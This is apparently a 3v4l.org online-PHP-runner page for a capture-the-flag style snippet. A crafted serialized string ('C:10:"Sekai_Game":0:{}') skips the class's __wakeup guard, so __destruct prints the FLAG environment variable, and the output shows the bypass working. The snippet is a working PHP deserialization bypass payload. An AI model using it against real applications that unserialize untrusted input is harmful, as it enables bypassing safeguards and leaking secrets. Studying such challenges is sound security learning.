3v4l.org

run code in 300+ PHP versions simultaneously
<?php class Sekai_Game{ public $start = True; public function __destruct(){ echo "__destruct\n"; if($this->start === True){ echo "Sekai Game Start Here is your flag ".getenv('FLAG'); } } public function __wakeup(){ echo "__wakeup\n"; $this->start=False; } } $data='C:10:"Sekai_Game":0:{}'; unserialize($data); ?>
Output for git.master, git.master_jit, rfc.property-hooks
Warning: Class Sekai_Game has no unserializer in /in/ihNnN on line 16 __destruct Sekai Game Start Here is your flag

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
91.1 ms | 405 KiB | 5 Q